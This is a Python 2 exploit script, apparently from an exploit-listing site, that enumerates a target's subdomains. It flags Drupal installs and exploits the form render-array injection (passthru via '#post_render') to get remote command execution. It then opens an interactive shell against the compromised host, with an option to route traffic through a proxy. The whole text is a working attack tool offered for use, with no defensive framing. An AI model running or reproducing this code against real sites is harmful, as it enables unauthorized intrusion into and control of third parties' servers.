Drupal Exploiter on subdomains brute-forcing (RCE)

#!/usr/bin/env python

import requests,time,sys,re

# Authors:
# - batinihani ~ https://github.com/batininhani/
# - alpereneymen ~ https://github.com/alpereneymen/

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def exploit(HOST,cmq):

    global r

    get_params = {'q': 'user/password', 'name[#post_render][]': 'passthru', 'name[#markup]': "'"+cmq+"'",'name[#type]': 'markup'}

    post_params = {'form_id': 'user_pass', '_triggering_element_name': 'name'}
    r = requests.post(HOST, data=post_params, params=get_params)

    m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)

    if m:
        found = m.group(1)
        get_params = {'q': 'file/ajax/name/#value/' + found}
        post_params = {'form_build_id': found}
        r = requests.post(HOST, data=post_params, params=get_params)

def get_version(url):

    try:
        response = requests.get(url, timeout=2, headers={
            'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13'})

        contents = response.text

        if "Drupal" in contents:
            splitted = contents.split()
            print " {} [+] {}  Version :  {} {}\n".format(bcolors.OKGREEN,url,splitted[1].replace(",",""),bcolors.ENDC)

            okno = raw_input("Do you want try exploit ? [Y/n] -> ")

            if okno == "Y" or okno == "y":



                while True:

                    http_https = raw_input(bcolors.OKGREEN + "HTTP / HTTPS ? -> " + bcolors.ENDC)

                    if http_https == "http" or http_https == "HTTP":

                        http_https = "http://"

                        break

                    elif http_https == "https" or http_https == "HTTPS":

                        http_https = "https://"

                        break

                    else:

                        continue

                www_ask = raw_input(bcolors.OKGREEN+"If it's not subdomain put 'www' -> "+bcolors.ENDC)

                if www_ask == "www":

                    www_ask = "www"

                else:

                    www_ask = ""



                HOST = http_https + www_ask + host + "/"

                echo = "'echo w00t!'"

                exploit(HOST, echo)

                if r.text.splitlines()[0] == "w00t!":

                    print("\n"+bcolors.OKGREEN+"YOU GOT A SHELL!! "+bcolors.ENDC+"\n")

                    time.sleep(2.0)

                    while True:


                        cmq = raw_input('\033[1;31mshell > \033[1;m')

                        if cmq == "quit" or cmq == "q":

                            break

                        else:

                            cmq = "'%s'" %cmq

                            exploit(HOST, cmq)

                            print r.text[(r.text.index("")+len("")):r.text.index("[{")]
                else:

                    print "[i]Not Exploitable!\n"

                    pass

    except requests.exceptions.InvalidURL:

        print "\n[i] Done!"

    except (requests.ConnectionError,requests.ReadTimeout,requests.TooManyRedirects):

        time.sleep(0.1)

target = raw_input(bcolors.OKGREEN + "Target :" + bcolors.ENDC)

yn = raw_input(bcolors.WARNING + "Do you want use proxy ?" + bcolors.BOLD + "[Y/N] :" + bcolors.ENDC)

if yn == "Y" or yn =="y":
    p_ip = raw_input(bcolors.OKGREEN + "IP :" + bcolors.ENDC)
    p_port = raw_input(bcolors.OKGREEN + "PORT :" + bcolors.ENDC)
    p_full = p_ip + ":" + p_port
else:
    p_full = "" # Change Proxy

http_proxy = p_full

proxyDict = {"http": http_proxy}

hostsearch = "http://api.hackertarget.com/hostsearch/?q=" + target

response = requests.get(hostsearch, headers={
    'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13'},
                        proxies=proxyDict)

hosts_ips = response.text

if "error check your search parameter" in hosts_ips:

    sys.exit("Change Proxy!")

else:


    content = hosts_ips.split("\n")

result = []

for line in content:
    result.append(line.split(',')[0])

for host in result:
    print ("[i]" + host + "-> CHECKING..")

    get_version("http://" + host + "/CHANGELOG.txt")

Copyright ©2024 Exploitalert.